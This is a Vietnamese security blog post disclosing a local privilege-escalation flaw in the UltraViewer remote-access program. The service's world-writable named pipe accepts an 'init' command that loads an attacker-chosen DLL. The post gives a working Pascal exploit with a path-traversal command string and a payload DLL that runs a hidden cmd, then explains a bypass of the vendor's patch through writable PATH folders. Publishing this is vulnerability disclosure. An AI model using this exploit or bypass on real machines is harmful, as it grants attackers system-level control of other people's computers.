[1 day] DLL hijacking into Ultraview program

Vài điều tâm sự

Vào tầm cuối tháng 8 năm 2016, tôi và Thanh Kiếm có nghiên cứu về việc leo thang đặc quyền trên một server windows 2008. Đối với các cuộc tấn công leo thang đặc quyền, cơ bản có 4 hướng khả thi mà tất cả các hacker sử dụng, chúng được phân loại bên dưới:

  • Tìm exploit tồn tại trên các service, drivers, kernel của hệ thống.
  • Tìm một service, taskscheduler, startup program, …. có phân quyền kém hoặc có script, bin file nằm ở thư mục có quyền ghi hoặc user hiện tại có quyền ghi vào.
  • Tìm dữ liệu nhạy cảm liên quan đến các tài khoản phân quyền cao hơn ở các thư mục, registry .. có thể truy cập được.
  • Tìm một exploit nằm ở một 3rd party software có thể là service nào đó hoặc là một software có tiến trình chạy bởi user có quyền cao hơn..

Sau khi thất bại ở 3 hướng đầu tiên, tôi bắt đầu kiểm tra và thực hiện reverse các chương trình có process đang chạy ở quyền cao hơn. Để nhanh hơn, tôi chủ yếu chú ý vào các phần nhận, nạp dữ liệu, kết nối của tiến trình. Rất may mắn tôi đã tìm ra một chương trình được cài trên máy là Ultraview (một startup của việt nam) có phần liên hệ giữa tiến trình ở usermode và service của nó qua pipe. Trong các lệnh nhận qua pipe thì có lệnh liên quan đến loadlibrary có thể dùng để khai thác EoP. Sau khi liên hệ vào tháng 9, tôi được đại diện của Ultraview cho biết đã có 1 bạn nước ngoài report và hỗ trợ fix lỗi này. Ngày hôm nay, khi có thời gian thì tôi viết lại kỹ thuật sử dụng trong việc exploit Ultraview như một tài liệu để tham khảo.

Phân tích lỗ hổng

Lỗi gốc ở các phiên bản ban đầu <5.1 của ultraview như sau:

  • Trên service có đoạn tạo pipe \\.\\pipe\UltraViewerService với quyền read write cho mọi user:
  • Thông qua pipe này service sẽ nhận các string command.
  • Các command này được tách nhau qua các dấu “|”,”:”, “/”
  • Đặc biệt nguy hiểm là command init có hàm addfunction có tác dụng loadlibrary và getprocess của một func ở dll chỉ định và lưu lại. Với dll thì có hàm dllmain luôn được execute khi load lên. ta có thể nhờ service process của ultraview thực thi một đoạn mã tùy ý.
  • Dựa vào đoạn tách chuỗi không khó để xây dựng lại command init init:1010/abcxyz/abcxyz.dll/1011|. Current dir của service sẽ luôn là thư mục system32. ta có thể dễ dàng dùng chuỗi \..\ để điều hướng loadlibrary đến thưc mục temp chẳng hạn như init:1010/abcxyz/..\temp\abcxyz.dll/1011|

Xây dựng mã khai thác

Dựa vào lỗi đã phân tích ở trên, tôi viết một đoạn mã khai thác ngắn bằng pascal sử dụng để exploit, nhân thể muốn chứng minh cho vài bạn thấy rằng ngôn ngữ pascal vẫn còn tốt chán:

uses Classes, SysUtils, CustApp ,Windows ;
var 
pipe: Handle ;
numBytesRead: LongWord;
buffer: array[1..50] of ansichar;
begin
pipe:= CreateFileA('\\.\pipe\UltraViewerService',
GENERIC_ALL,
FILE_SHARE_READ or FILE_SHARE_WRITE,
Nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
Writeln('acess pipe ',  GetLastError());
WriteFile(pipe, 'init:1010/abcxyz/..\..\abcxyz.dll/1011|', 130, numBytesRead, Nil);
Writeln('write file er ', GetLastError(),' ',numBytesRead);
ReadFile(pipe,buffer,5,numBytesRead,Nil);
Writeln('read file er ', GetLastError(),' ',numBytesRead );
Writeln('reponse ',buffer) ;
Writeln('end ', GetLastError());
end.
Và tiếp đó là dll được sử dụng để excute command mà tôi muốn:
uses Windows,crt;
procedure threadd() ;
var 
File1: Text;
begin
AssignFile(File1,'c:\a.txt');
Rewrite(File1);
Writeln(File1,'w from ultraview');
Close(File1);
ShellExecuteA(0, 'open', 'cmd', '/C whoami>>C:\im.txt', Nil, SW_HIDE);
end;
exports threadd name 'threadd' ;
var tid: LongWord;
begin
CreateThread(Nil,0,@threadd,nil,0,tid);
end.
VIDEO:
http://www.youtube.com/watch?v=BMhEh2mD6GA
Đánh giá bản vá cập nhật sửa lỗi
Vào 26 tháng 9 thì ultraview đã có bản update sửa lỗi này bằng phương pháp lọc lại dll name, bỏ path chỉ lấy file name. Vậy sau bản fix này ta chỉ còn có thể nhập được file name, không thể nhập được ký tự \ / . Nhưng nó vẫn nguy hiểm vì:
  • Cơ chế hàm loadlibrary sẽ thực hiện tìm kiếm dll tại các vị trí sau ( https://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx ):
  • Thư mục được chỉ định bởi lpFileName.
  • Thư mục hiện tại
  • Thư mục hệ thống. Sử dụng hàm GetSystemDirectory để lấy đường dẫn đến thư mục này.
  • Thư mục hệ thống 16 bits. Không có hàm nào cung cấp đường dẫn này, nhưng nó được tìm kiếm bằng cách “search”.
  • Thư mục Windows. Sử dụng hàm GetWindowsDirectory để lấy đường dẫn đến thư mục này.
  • Thư mục được liệt kê trong biến môi trường PATH. Lưu ý rằng điều này không bao gồm đường dẫn cho mỗi ứng dụng được chỉ định bởi khoá App Paths trong registry. Khoá App Paths không được sử dụng khi tìm kiếm thông tin về DLL.
  • Các thư mục thuộc path environment có thể sẽ có phân quyền cho mọi user read/write.(ví dụ như thư mục python,perl nếu lúc cài có chọn chế độ sử dụng cho mọi user trên máy). Có thể sử dụng script powershell sau để check thử thừ user thường: https://github.com/Nightst0rm/weakpathfolderscan/blob/master/folderperm.ps1
Kết hợp 2 và 1 và ultraview tin tặc vẫn có thể tấn công leo thang đặc quyền dễ dàng bằng cách upload file dll vào folder thuộc path environment và gửi command init với tên dll đó. loadlibrary sẽ tự tìm nốt trong danh sách các thư mục.
Chúng tôi đã cảnh báo đến nhà phát hành ngay khi nhà phát hành công bố bản vá, nhưng đến hiện tại thì vấn đề trên vẫn còn tồn tại. Các bạn có thể kiếm tra bằng script ở trên để tránh việc bị khai thác thông qua lỗ hổng này.
ps: Get root quá là ez với 9tom